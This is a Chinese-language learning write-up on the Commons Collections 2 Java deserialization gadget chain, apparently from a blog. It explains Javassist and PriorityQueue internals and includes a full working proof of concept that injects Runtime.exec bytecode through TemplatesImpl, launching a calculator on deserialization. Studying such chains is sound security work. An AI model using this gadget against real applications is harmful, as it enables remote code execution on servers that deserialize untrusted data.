CommonsCollection2反序列链学习
CommonsCollection2
1、前置知识
CmonnosCollection2需要用到Javassist和PriorityQueue
1.1、Javassist
Javassist是一个开源的分析、编辑和创建Java字节码的类库
我们添加依赖看看
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
我们来看序列化链主要用到的类
1.1.1、ClassPool
ClassPool是一个基于哈希表(Hashtable
)实现缓存CtClass对象的容器,所有的CtClass对象都在ClassPool中,其中键名是类名称,值是表示该类的CtClass
对象
主要方法
1.public static synchronized ClassPool getDefault() //返回默认的类池
2.public ClassPath insertClassPath(ClassPath cp)//在搜索路径的开头插入一个ClassPath对象
3.public ClassPath insertClassPath(String pathname)//在搜索路径的开头插入目录或jar(或zip)文件
4.public ClassPath appendClassPath(ClassPath cp) //将ClassPath对象附加到搜索路径的末尾
5.public CtClass makeClass(String classname)//返回创建一个新的public类
6.public CtClass get(String classname) //从源中读取类文件,并返回对CtClass
7.public ClassLoader getClassLoader()//获取类加载器
1.1.2、CtClass
Javassit.CtClass是一个class文件的抽象表示。一个CtClass(compile-time class)对象可以用来处理一个class文件,通过ClassPool方法获取
主要方法
1.public void setSuperclass(CtClass clazz)//cc.setSuperclass();设置该CtClass类的父类
2.public void writeFile(String directoryName)
3.public void writeFile(String directoryName)
4.public Class<?> toClass(Lookup lookup)
5.public byte[] toBytecode()
6.public void addMethod(CtMethod m)
7.public void addField(CtField f)
1.1.3、CtMethod
CtMethod
:表示类中的方法。主要被类通过addMethod、getDeclaredMethod获取
1.1.5、CtFields
表示类中的字段
1.1.4、CtConstructor
表示类中的一个构造方法
主要方法
1.public void setBody(String src) //设置构造函数主体。
2.public void setBody(CtConstructor src, ClassMap map)//从另一个构造函数复制一个构造函数主体
1.1.6、ClassClassPath
该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径
构造方法
public ClassClassPath(Class<?> c) {
this.thisClass = c;
}
常用方法
openClassfile,通过类名获取
public InputStream openClassfile(String classname) throws NotFoundException {
String filename = '/' + classname.replace('.', '/') + ".class";
return this.thisClass.getResourceAsStream(filename);
}
常用代码实例
//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
1.1.7、toClass
输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName());
}
1.18、toBytecode
输出成二进制格式
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName());
byte[] bytes = ctClass.toBytecode();
System.out.println(Arrays.toString(bytes));
}
输出
主要用法
ClassPool主要读取方式
//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径,表示当前类的位置
pool.insertClassPath(new ClassClassPath(this.getClass()));
//从file加载classpath
pool.insertClassPath("/usr/local/javalib")
//从URL中加载
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
pool.insertClassPath(cp);
//从byte[] 中加载
byte[] b = a byte array;
String name = class name;
cp.insertClassPath(new ByteArrayClassPath(name, b));
//可以从输入流中加载class
InputStream ins = an input stream for reading a class file;
CtClass cc = cp.makeClass(ins);
输出方式
ClassPool pool = ClassPool.getDefault();
//会从classpath中查询该类
CtClass cc = pool.get("test.Rectangle");
//设置.Rectangle的父类
cc.setSuperclass(pool.get("test.Point"));
//输出.Rectangle.class文件到该目录中
cc.writeFile("c://");
//输出成二进制格式
//byte[] b=cc.toBytecode();
//输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader。
//Class clazz=cc.toClass();
新增Class
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
//新增方法
cc.addMethod(m);
//新增Field
cc.addField(f);
//获取move方法
cc.getDeclaredMethod("move")
使用案例
package com.akkacloud.demo;
import javassist.*;
public class JavassistTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
// 1. 创建一个空类
CtClass cc = pool.makeClass("com.akkacloud.demo.Person");
// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));
// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));
// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);
// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);
// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
//这里会将这个创建的类对象编译为.class文件
cc.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
}
}
1.2、PriorityQueue
PriorityQueue 一个基于优先级的无界优先级队列,优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。
构造方法
//默认创建11容量的PriorityQueue并且排序
private static final int DEFAULT_INITIAL_CAPACITY = 11;
......
public PriorityQueue() {
this(DEFAULT_INITIAL_CAPACITY, null);
}
//指定initialCapacity容量的PriorityQueue并且排序
public PriorityQueue(int initialCapacity) {
this(initialCapacity, null);
}
主要方法
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
案例
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(4);
priorityQueue.add(3);
priorityQueue.add(5);
System.out.println(priorityQueue);
System.out.println(priorityQueue.peek());
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.peek());
}
输出
1.3、getDeclaredFiled
getDeclaredFiled 仅能获取类本身的属性成员(包括私有、共有、保护)
public static void main(String[] args) throws Exception {
Class aClass = Class.forName("com.akkacloud.demo.HelloDemo");
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
}
输出
1.4、TransformingComparator
TransformingComparator是实现了Comparator接口,Comparator主要对集合对象或数组对象进行排序,需要实现Comparator接口以达到我们想要的目标。其中的compare方法调用了传入transformer的transform方法。
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
//对传入的参数传入对应的值
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
//compare会调用transform方法,
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
1.5、TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是⼀个可以加载字节码的类(恶意类)
newTransformer
newTransformer会新建TransformerImpl调用getTransletInstance()
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
其中的TransformerImpl就是赋值
protected TransformerImpl(Translet translet, Properties outputProperties,
int indentNumber, TransformerFactoryImpl tfactory)
{
_translet = (AbstractTranslet) translet;
_properties = createOutputProperties(outputProperties);
_propertiesClone = (Properties) _properties.clone();
_indentNumber = indentNumber;
_tfactory = tfactory;
_overrideDefaultParser = _tfactory.overrideDefaultParser();
_accessExternalDTD = (String)_tfactory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD);
_securityManager = (XMLSecurityManager)_tfactory.getAttribute(XalanConstants.SECURITY_MANAGER);
_readerManager = XMLReaderManager.getInstance(_overrideDefaultParser);
_readerManager.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD);
_readerManager.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, _isSecureProcessing);
_readerManager.setProperty(XalanConstants.SECURITY_MANAGER, _securityManager);
//_isIncremental = tfactory._incremental;
}
getTransletInstance
如果_name的值为null,直接返回null,如果_class的值为空(private Class[] _class = null;),则进入defineTransletClasses()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
我们进入defineTransletClasses()
首先判断_bytecodes是不是null,是就报错
defineClass
方法接受一组字节,然后将其具体化为一个Class类型实例
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
我们发现他创建了一个TransletClassLoader类,AccessController.doPrivileged是一个在AccessController类中的静态方法,允许在一个类实例中的代码通知这个AccessController:它的代码主体是享受"privileged(特权的)",它单独负责对它的可得的资源的访问请求,而不管这个请求是由什么代码所引发的,
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
我们继续来看看TransletClassLoader类,defineClass()
在TemplatesImpl
内部的静态类TransletClassLoader
被重载了,defineClass
方法接受一组字节,然后将其具体化为一个Class类型实例
这里说多一个ClassLoader类的loadClass
通过ClassLoader#
loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
要经历下面三个方法的调用:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
我们继续看defineTransletClasses()方法,前面是假如传入的_bytecodes的长度大于1就创建一个HashMap,我们直接进入for循环,首先调用loader.defineClass的方法,创建一个Class类型实例,然后获取他的父类,在判断他的父类的名字是不是等于ABSTRACT_TRANSLET(AbstractTranslet),然后把i赋值transletIndex,transletIndex的默认值是-1。
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
我们终于回到了getTransletInstance方法,通过defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后再_class[_transletIndex].getConstructor().newInstance()实例化,如果我们传输的是Rce的_bytecodes,那么就会执行代码
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
2、漏洞复现
2.1、poc
记得先导入依赖
package com.akkacloud;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollection2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
2.2、poc分析
第一段分析,主要通过javassist去创建了一个类CommonsCollection2Test,静态结构体为恶意代码设置一下父类为AbstractTranslet
为甚么要设置父类为AbstractTranslet?
答:上述在TemplatesImpl学习中,把getTransletInstance中的defineTransletClasses()中会判断_class[i]的父类是不是AbstractTranslet
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
输出来看看,发现我们执行的代码在static静态代码块,该代码块会在类实例化时直接执行
第二段
1、反射创建templatesImpl类
2、把CommonsCollection2Test类(RCE类)转换为字节数组赋值给templatesImpl的属性_bytecodes
3、反射获取并且赋值templatesImpl的属性_name为test字符串
为甚要设置_name为test?
getTransletInstance中会判断_name的值是不是null,空就直接返回null了。
//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
我们通过反射输出来看看
//反射获取对应getter方法,并且输出
Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString());
Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(Arrays.toString(bytes1[i]));
}
第三段
1、新建一个InvokerTransformer,,通过反射执行一个newTransformer方法
2、新建一个TransformingComparator,通过前置知识的学习我们只需要通过调用TransformingComparator的compare方法就会调用
InvokerTransformer的transform方法就会调用newTransformer方法,就是把我们传入的bytecode实例化,导致RCE
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
第四段
1、创建了一个容量为2的PriorityQueue梳理,并且调用了add方法添加两个元素,我们现在是应该去找怎么调用compare()方法,Poc中是用了priorityQueue类的comparator和queue,并且把templatesImpl(包含了我们用javassist创建的恶意类)赋值给了priorityQueue的queue属性,并且把transformingComparator赋值给了priorityQueue的comparator属性
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,comparator);//设置priorityQueue的comparator属性值为comparator
Field field3=priorityQueue.getClass().getDeclaredField("queue");//获取priorityQueue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});//设置priorityQueue的queue字段内容Object数组,内容为templatesImpl
我们发现siftDownUsingComparator方法中comparator调用了compare,而且其的参数为queue,所以就是我们的用来加载恶意类transformingComparator调用了compare方法,并且参数为queue既我们的恶意数组templatesImpl
哪里调用了siftDownUsingComparator方法呢
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
siftDown方法调用了siftDownUsingComparator方法
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
heapify()方法调用了siftDown方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
PriorityQueue的readObject方法中调用了heapify()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
终于成功了,重写了我们的readObject
2.3、 利用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.4、正向调试
首先我们在PriorityQueue.readObject()打上断点,进入heapify()
发现queue为TemplatesImpl类(恶意类),继续跟进siftDown
由于comparator不为空,queue就是x,继续进入siftDownUsingComparator,
发现compatator.compare(),此处的compatator就是TransformingComparator
没错,进入到了我们的TransformingComparator的compare,我们可以看到this.transformer为InvokerTransformer,继续跟进
进入InvokerTransformer后,发现cls为TemplatesImpl,方法为newTransformer,继续进入
进入到了TemplatesImpl的newTransformer方法,继续进入getTransletInstance
发现了反射设置的_name,继续进入defineTransletClasses
成功进入,我们就看看他的参数
发现把我们反射传入恶意类的_bytecodes穿给_class[i], >_class[_transletIndex]>_class[0]
返回getTransletInstance()方法,newinstance后既实例化后成功执行代码
参考链接
https://www.cnblogs.com/rickiyang/p/11336268.html
https://blog.csdn.net/u011425751/article/details/51917895
https://www.cnblogs.com/nice0e3/p/13860621.html
CommonsCollection2反序列链学习的更多相关文章
- JDK7u21反序列链学习
JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- CommonsCollection6反序列化链学习
CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...
- JS 原型链学习总结
废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...
- JavaScript原型(链)学习笔记
javascript是基于原型的一门脚本语言,那究竟原型是什么? 本文将从以下几个方面重点阐述原型 构造函数是什么? 构造函数和我们常见的Array String有什么关系? 原型的使用? __pro ...
- JavaScript作用域(链)学习笔记
作用域是javascript老生常谈的问题,在面试题中也经常出现.此文记录本人对js作用域的理解.从以下三个方面深入探讨js作用域和js作用域链. 1.什么是作用域? 2.什么是作用域链? 3.常见面 ...
- 区块链学习笔记:D03 区块链在各行业领域的应用(一)
今天主要是学习了区块链在金融和供应链领域的应用,重点体现了区块链多方参与.透明可信.防篡改防抵赖的技术优势 区块链的应用场景最早是在金融行业应用较多,后续逐步扩展到传统行业,如:供应链.政务服务.物联 ...
- 区块链学习笔记:DAY01 区块链的技术原理
其实很早之前就听过区块链,也看过有关区块链的介绍,那个时候的理解主要还是一句话:分布式记账 然后开始关注比特币,听了有几年了,对于其来历.用途其实一直都是一知半解. 这次的课算是第一次以一个学员的身份 ...
随机推荐
- 【C# 练习】通过ZoomGame这个案例加强对 反射 插件 特性的认识
游戏情景设定: 有一个游戏机,里面出现几种动物让儿童选择.选择完动物后,在输入数值让动物叫几次. 动物类型以插件的形势存在,可以外包给其他人开发,并提供了开发接口AnimalTool.SDK.dll. ...
- 怎么安装ExpressionTreeVisualizer for Visual Studio 2019
1.下载 ExpressionTreeVisualizer https://github.com/zspitz/ExpressionTreeVisualizer/releases , 解 ...
- 『无为则无心』Python日志 — 66、将日志信息保存到文件中
目录 1.把日志信息保存到文件中 2.拓展 (1)观察代码 (2)提出问题 (3)问题说明 1.把日志信息保存到文件中 代码如下所示: """ logging模块是Pyt ...
- Java课程设计---添加学生
1.创建添加窗体 package com.student.view; import java.awt.EventQueue; import javax.swing.ButtonGroup; impor ...
- 8.StringTable(字符串常量池)
一.String的基本特性 String:字符串,使用一对 "" 引起来表示 String s1 = "atguigu" ; // 字面量的定义方式 Strin ...
- Qt:QCustomPlot使用教程(三)——用户交互
0.说明 本节翻译总结自:Qt Plotting Widget QCustomPlot - User Interactions 本节内容是使用QCustomPlot实现绘图和用户交互功能. 本文代码中 ...
- linux作业--第十周
1.在阿里云服务器搭建openv-p-n(有条件的同学再做) 2.通过编译.二进制安装MySQL5.7 编译安装MySQL5.7 安装相关包 yum -y install libaio numactl ...
- python程序的三种执行结构
一.分支结构:根据条件判断的真假去执行不同分支对应的子代码 1.1 if判定 完整语法如下: if 条件1: #条件可以是任意表达式,如果条件1为True,则依次执行代码. 代码1 代码2 ... e ...
- 2022年官网下安装DBever最全版与官网查阅方法
目录 安装部署DBeaver 一.官网下载安装 1.百度搜索DBeaver. 2.进入主页,点击DownLoad下载. 3.查看列表,选择windows的exe版本下载. 4.找到位置,双击打开,弹出 ...
- Excel文件导入SQL Server数据库
Excel表格的使用可谓是非常广泛,博主也简单百度了一下Excel的发展. 发展历程: 1982年 Microsoft推出了它的第一款电子制表软件-Multiplan,并在CP/M系统上大 Excel ...